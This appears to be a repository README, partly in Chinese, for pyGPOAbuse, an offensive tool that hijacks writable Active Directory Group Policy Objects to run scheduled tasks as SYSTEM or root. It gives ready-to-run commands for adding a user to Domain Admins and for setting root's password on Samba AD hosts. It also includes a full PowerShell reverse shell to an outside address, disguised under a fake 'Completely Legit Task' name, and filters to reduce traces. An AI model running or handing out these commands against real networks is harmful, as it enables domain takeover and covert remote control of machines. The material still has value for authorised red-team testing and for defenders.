pyGPOAbuse:基于 Python 的 GPO 滥用利用工具项目

Partial python implementation of SharpGPOAbuse

Branch1Tags0
FilesLast commitLast update
1 year ago
4 months ago
6 years ago
6 years ago
4 months ago
7 months ago
11 months ago
6 years ago
7 months ago

pyGPOAbuse

D4RKMATT3R 添加的筛选功能

  • 免责声明:此工具仅在本地 AD 环境中进行了简要测试。对于任何意外行为或故障,我不承担任何责任。本工具按原样提供,仅用于授权测试,风险完全由您自行承担。
  • 现在支持对用户或主机进行筛选定位,类似于 SharpGPOAbuse
  • 场景:GPO 已链接到 Active-Directory 域,因此任务将应用于该域内的所有受影响对象(用户/主机),这会产生大量不必要的噪音和痕迹。因此,更倾向于采用更具针对性的方法,在特定目标(例如域控制器)上执行命令。
Host/User targeting via filters (mirrors SharpGPOAbuse --FilterEnabled):
  -filter-enabled       Enable GPO Host/User targeting so the scheduled task only runs for a specific host/user
  -target-dns-name FQDN
                        Computer task: DNS/FQDN of the only host that should run the task (e.g. dc01.corp.local)
  -target-username DOMAIN\USER
                        User task: only this user processes the task (format: DOMAIN\username)
  -target-user-sid SID  User task: SID of the targeted user (optional, more robust matching)

示例

# Add Domain user and add to Domain Admins via Domain-Controller
python3 pygpoabuse.py red.local/user:Testing123 -gpo-id D9A65E7F-112D-49B9-AF7A-4FC2BA092BF6 -taskname SecurityUpdate  -dc-ip 192.168.152.2 -command 'net user UserGPO P@ssw0rd /add && net group "Domain Admins" UserGPO /add' -filter-enabled -target-dns-name dc01.red.local

描述

Python对@pkb1s开发的SharpGPOAbuse的部分实现

当受控账户能够修改适用于一个或多个用户及计算机的现有GPO时,可使用此工具。对于计算机GPO,它将在远程计算机上以SYSTEM身份创建立即执行的计划任务;对于用户GPO,则以登录用户身份创建。

默认行为是添加本地管理员。

示例

使用方法

基本用法

将john用户添加到本地管理员组(密码:H4x00r123..)

./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012"

高级用法

反向 shell 示例

./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012" \ 
    -powershell \ 
    -command "\$client = New-Object System.Net.Sockets.TCPClient('10.20.0.2',1234);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()" \ 
    -taskname "Completely Legit Task" \
    -description "Dis is legit, pliz no delete" \ 
    -user

清理

任务执行后删除计划任务。

./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012" --cleanup

Samba AD 用法

此工具也可用于 Samba AD 域。对于计算机 GPO,它将在远程计算机上以 root 身份创建一个 即时任务。

首先,创建一个 Bash 脚本或 ELF 文件。

#!/bin/bash
echo "root:1234" | chpasswd

然后使用 --linux-exec 参数执行工具。

./pygpoabuse.py DOMAIN/user:password -gpo-id "12345677-ABCD-9876-ABCD-123456789012" --linux-exec /path/to/executable

示例

致谢

Introduction

Partial python implementation of SharpGPOAbuse

Customize your domain